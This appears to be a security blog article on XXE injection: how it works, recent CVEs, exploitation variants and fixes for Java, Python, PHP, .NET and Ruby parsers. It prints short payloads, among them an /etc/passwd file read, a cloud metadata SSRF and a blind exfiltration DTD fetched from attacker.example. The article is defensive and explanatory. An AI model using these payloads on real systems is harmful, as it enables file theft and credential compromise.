Somewhere in a mid-size SaaS company right now, a backend service is happily parsing an XML file a customer uploaded. Maybe it’s an invoice format, maybe an SSO login response, maybe just a config import feature nobody thought twice about. The parser trusts the file. It shouldn’t.

That single mistake, a parser trusting input it has no business trusting, is what XXE is built on. The vulnerability has been sitting on OWASP’s radar since 2013, and it refuses to go away. In 2026 alone, XXE bugs turned up in Atlassian Crowd, in Jaspersoft’s JasperReports Server, and in Grav CMS’s SVG upload handler. Old bug, new logos.
None of this is exotic. XXE doesn’t need a zero-day or a fuzzer running for three weeks. It needs a parser with default settings turned on and a text box, or a file upload field, that accepts XML. That’s basically it.
What an XML External Entity Actually Is
XML lets you define your own shortcuts inside a document, called entities. The classic example is something like &standing in for an ampersand. That part is harmless, and every parser does it without complaint.
The trouble starts with external entities. Inside a DOCTYPE declaration, XML lets you tell the parser: don’t just expand this shortcut into the text I gave you, go and fetch it from somewhere else first. That somewhere else can be a file path on the local disk, a URL pointing at an internal network address, or a server the attacker controls.
Here’s what that looks like in practice:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>Four lines. If the parser processing this document has external entity resolution switched on, and plenty of them do by default, it goes and reads /etc/passwd and drops the contents straight into the parsed output. The application then does whatever it normally does with that field. Maybe it logs it. Maybe it echoes it back in an error message. Maybe it stores it in a database that gets displayed later. Any of those paths can leak the file content back to whoever sent the payload.
That’s the whole attack surface, more or less.
People sometimes lump XXE in with generic injection attacks like SQLi, and for a while I did too, treating it as just another flavor of “untrusted input goes somewhere bad.” It isn’t quite that. SQL injection abuses a query interpreter. XXE abuses a document parser that was never designed to fetch external resources on your behalf in the first place, and parser vendors have spent a decade walking that default back.
There’s also a second, quieter form worth knowing early: parameter entities, written with a percent sign instead of an ampersand. They only work inside the DTD itself rather than the document body, which sounds like a small detail but it’s the difference between basic file-read payloads and the more advanced blind exfiltration technique further down.
Where XXE Sits in the Bigger Picture
If you’re researching this for SEO or trying to map how it connects to other security terms, a few keywords keep showing up around XXE and it helps to know how they relate.
XXE is tracked under CWE-611, “Improper Restriction of XML External Entity Reference,” and it lives inside the OWASP Top 10 under the broader “Security Misconfiguration” category as of the 2021 revision, after being its own standalone entry in earlier editions. It’s closely tied to SSRF (server-side request forgery), since one of the main things you do with a working XXE bug is force the server to make outbound requests on your behalf. It also overlaps with DTD injection and entity expansion attacks, which is the formal name for the billion laughs denial-of-service variant.
You’ll also see it discussed alongside DOCTYPE injection, out-of-band data exfiltration, and insecure deserialization, not because they’re the same bug, but because they tend to show up in the same kind of code: a legacy parsing path nobody has touched since it was written, quietly accepting more than it should.
Why This Keeps Happening in 2026
You’d think this would be solved by now. Most major XML libraries shipped safer defaults years ago. But XXE keeps showing up in vulnerability disclosures for a few boring reasons: legacy code written before those safer defaults existed, custom parser configuration that re-enables the dangerous behavior for some unrelated reason, and file formats that are secretly XML underneath a friendlier name.
That last one trips people up constantly. SVG is XML. DOCX, XLSX, and PPTX are XML files zipped together. RSS and Atom feeds are XML. SAML assertions are XML. Any place your application accepts one of these formats is a place your XML parser is running, whether anyone remembers that or not.
Grav CMS is a good recent example. CVE-2026–29924 affects Grav CMS 1.7.x and earlier through its SVG upload feature in the admin panel and File Manager plugin. An authenticated user uploads what looks like an image, and the underlying parser processes it without disabling external entity resolution, opening the door to file disclosure, SSRF, and denial of service. Nobody on that team was thinking “we ship an XML parser.” They were thinking “we accept image uploads.”
Atlassian Crowd hit a similar wall this year. CVE-2026–21569, introduced in version 7.1.0 and fixed in 7.1.3, carries a CVSS score of 7.9 and lets an authenticated attacker reach local and remote content through the same kind of malformed XML processing. And JasperReports Server’s CVE-2026–16626 is the sharper version of the same story: no authentication required at all, affecting versions 9.0.0 before HF-9 and 10.0.0 before HF-10, with attackers able to read arbitrary files and pivot into internal services through Java parsers like DocumentBuilderFactory and SAXParserFactory that resolve external entities unless someone explicitly told them not to.
Three products, three completely different codebases, one root cause repeated three times.
This isn’t a new phenomenon either. Bug bounty write-ups going back to the mid-2010s document XXE bugs in document-conversion features at large tech companies, usually triggered through Word or PDF export functions that quietly ran an XML parser under the hood. The pattern hasn’t changed in a decade. Only the product names have.
The Different Ways XXE Gets Exploited
The file-disclosure example above is the version everyone learns first, but it’s really only one branch. Once a parser is willing to resolve external entities, there’s more than one thing an attacker can do with that.
Straight file disclosure is the obvious one. Point the SYSTEM identifier at a file path and get the contents back somewhere in the response, whether that's the raw output, an error message, or a field the app stores and later renders on a page you can view.
Server-side request forgery works the same mechanism pointed at a URL instead of a file. Change file:///etc/passwd to http://169.254.169.254/latest/meta-data/ and, if that parser can reach the cloud metadata endpoint, you're suddenly pulling instance credentials out of AWS. The Azure and GCP metadata endpoints work the same way with different addresses, and this is the part that turns a "read one config file" bug into "compromise the whole cloud account."
Blind, or out-of-band, XXE is what happens when the application never reflects the fetched content back to you at all. You don’t get to see the file directly. Instead, you use a parameter entity to build a two-stage payload: one entity fetches a malicious external DTD from a server you control, and that DTD instructs the parser to read the local file and send its contents out as part of a DNS or HTTP request to your listener. Something like this:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd">
%xxe;
]>It’s slower and it takes more setup than the basic version, but it works against applications that look completely silent from the outside, which is most production apps that don’t echo raw parser output back to users.
Then there’s the denial-of-service variant, usually called the billion laughs attack, where nested entity definitions expand exponentially. A few kilobytes of XML can blow up into gigabytes of memory the moment the parser tries to resolve every layer. No file read happens at all. The parser just falls over.
And there’s error-based exfiltration, a cheeky trick where a malformed external entity reference causes the parser to throw an error that includes the fetched content inside the error message itself. If the app is careless enough to show raw parser errors to users, that’s a free exfiltration channel with zero extra effort.
I got a WAF to catch the textbook <!DOCTYPE foo [ payload once and assumed the app was covered. It wasn't. A base64-wrapped or parameter-entity version of the same payload sailed straight through because the rule only matched the literal string. That's the thing about pattern-matching defenses against XXE: they catch the demo payload, not the technique.
How to Actually Fix It
The real fix isn’t a WAF rule. It’s telling your XML parser to stop resolving external entities and stop processing DTDs at all, since almost no application actually needs that feature.
Java is the most common place this bites people, mostly because there are five different parser interfaces and each needs its own configuration. For DocumentBuilderFactory, set the feature http://apache.org/xml/features/disallow-doctype-decl to true, and separately disable both general and parameter external entities. For XMLInputFactory (used by StAX), set IS_SUPPORTING_EXTERNAL_ENTITIES to false and SUPPORT_DTD to false. Miss even one of these on a codebase with multiple parsing paths and you've fixed the vulnerability in one place while leaving it open in another, which is more or less what happened at JasperReports Server.
Python developers using lxml should pass resolve_entities=False to the parser constructor, and honestly the simpler move is to swap in the defusedxml package, which wraps the standard library parsers with safe defaults out of the box. xml.etree.ElementTree in the standard library is safer than it used to be, but don't assume, check the version and the specific parsing function you're calling.
PHP applications should call libxml_disable_entity_loader(true) on older versions, though this function is deprecated as of PHP 8.0 because libxml itself changed its default to disabled entity loading starting from libxml 2.9.0. If your stack is running an older libxml build bundled with an old PHP install, you can still be exposed even on modern-looking code, which is exactly the kind of gap that bites teams during an audit.
.NET has actually had a reasonably safe default since XmlDocument and XmlTextReader were updated around .NET Framework 4.5.2, where XmlResolver defaults to null. The risk here is almost always inherited legacy code, an old XmlTextReader instance created before that change, or a DtdProcessing setting explicitly flipped to Parse for some now-forgotten reason.
Ruby applications using Nokogiri should pass Nokogiri::XML::ParseOptions::NOENT off, or more simply avoid enabling NOENTat all since that's the flag that turns entity substitution on in the first place. The default without it is already reasonably safe.
Across every one of these languages, the underlying instruction is identical: disable DTD processing entirely if you can, and if you actually need DTDs for some legacy format, disable external entity resolution specifically and keep it that way.
Testing for It Without Guessing
You don’t need an expensive scanner to find most XXE bugs. Burp Suite’s repeater tab and a handful of the payloads above will surface the obvious ones in minutes. OWASP ZAP’s active scan covers a good chunk of the basic cases too. For blind cases, a tool like XXEinjector, or a manually configured out-of-band listener such as an interactsh or Burp Collaborator endpoint, will tell you whether the parser is reaching out even when nothing comes back in the response.
The part people skip is testing every place XML shows up, not just the obvious API endpoint. File upload handlers that accept SVG, DOCX, or any zipped XML format deserve the same payloads as a plain Content-Type: application/xml field. So do SAML login flows, RSS import features, and any third-party library your app calls that happens to accept XML as a config format. I've seen teams lock down their main API and completely forget the reporting export feature that quietly parses XML on the way out.
One honest caveat here: automated scanners miss blind XXE constantly, because by definition nothing comes back to look at directly. If your threat model includes this class of bug at all, budget time for a manual out-of-band check rather than trusting a green scan result.
There’s also XInclude, a lesser-known XML feature that can achieve something close to file disclosure even when DOCTYPE declarations are stripped out entirely by an input filter. It’s worth a separate test pass since a lot of “we sanitize DOCTYPE” fixes stop there and miss it completely.
What a Real Breach Looks Like
This isn’t just a theoretical finding that lives in a pentest report and gets closed with a shrug. A working XXE bug against a service that talks to cloud infrastructure can hand over IAM credentials through the metadata endpoint trick above, and from there an attacker is no longer limited to whatever that one application does. They’re operating with whatever permissions that service role was granted, which on a lot of teams is more than it should be.
Even without cloud credentials in the mix, file disclosure alone is often enough. Config files routinely contain database passwords, API keys for third-party services, and internal hostnames that map out the rest of the network for a follow-up attack. A single /etc/passwd read is a nice proof of concept for a bug bounty report, but the actual damage usually comes from whatever config file the attacker reads next.
Defense in Depth, Beyond Just Disabling DTDs
Turning off DTD processing fixes the root cause, but a security team that stops there is trusting one line of configuration to hold forever, across every future code change. A few extra layers make that bet safer.
Least privilege on the service account matters more than people give it credit for. If the process parsing untrusted XML can only read files inside its own working directory, a file-disclosure bug that would otherwise hand over /etc/passwdor a cloud credentials file instead returns nothing useful. This doesn't fix the vulnerability, but it caps the damage, and capping damage is most of what security engineering actually is.
Network egress rules do something similar for the SSRF angle. If the box running your XML parser has no route to the cloud metadata address or to arbitrary internal hosts, the SSRF variant of XXE loses most of its teeth even if the parser itself is still misconfigured. This is the kind of control that pays off against bugs nobody has found yet, not just the one you just patched.
Dependency scanning deserves a mention too, since a chunk of these bugs aren’t really application code mistakes at all. They’re an outdated libxml, an old Xerces jar, or a vendored XML library three versions behind the fix. Running something like dependency-check, Snyk, or your package manager's built-in audit command against XML-parsing dependencies specifically, not just as part of a general scan once a quarter, catches this class of drift before it becomes a CVE with your company's name attached.
And keep raw parser error messages away from end users. It’s a small thing, but error-based exfiltration only works because someone decided a stack trace or a parser exception was fine to show a customer. It usually isn’t fine for a dozen other reasons too.
A Few Questions People Actually Ask
A common one is whether XXE affects JSON APIs the same way. It doesn’t, not directly, since JSON has no equivalent to DTDs or entity expansion. That said, plenty of “JSON-only” APIs still accept file uploads on the side, and those upload handlers are exactly where XML sneaks back in through SVG or Office document formats.
Another question worth answering plainly: is XXE still relevant in 2026, or is this an old finding that stopped mattering once frameworks got safer defaults? Based on this year’s disclosure list alone, the honest answer is yes, it’s still relevant, mostly because “safer defaults in new code” doesn’t retroactively fix the XML parsing paths written five or ten years ago that nobody has revisited since.
People also ask how XXE differs from SSRF, since the two get name-dropped together constantly. SSRF is the broader category: any bug that tricks a server into making a request it shouldn’t. XXE is one specific technique for achieving SSRF, alongside others like unsafe URL-fetching image processors or webhook validators that don’t check the destination. If you fix the XXE-specific SSRF path, that doesn’t mean the app is safe from SSRF through other routes.
Whether XXE requires authentication comes up too, and the honest answer is it depends entirely on where the vulnerable parsing happens. CVE-2026–16626 in JasperReports Server needed no authentication at all. CVE-2026–21569 in Atlassian Crowd needed a low-privilege authenticated session first. Both are still serious. An authentication requirement lowers the severity score, not the underlying risk once an attacker has any account at all, even a free trial signup.
Where This Actually Leaves You
XXE isn’t a hard vulnerability to understand once you’ve seen the four-line payload, and it isn’t a hard one to fix either, disabling DTD processing is usually a single configuration change per parser. The hard part is remembering every place your stack quietly runs an XML parser under the hood, because that list is longer than most teams think, and it grows every time someone adds a new file format nobody flags as XML.
If you’re auditing a codebase today, start there. Grep for every parser instantiation, check its defaults against its actual library version, and don’t assume “we fixed this in the API” covers the upload feature three services over.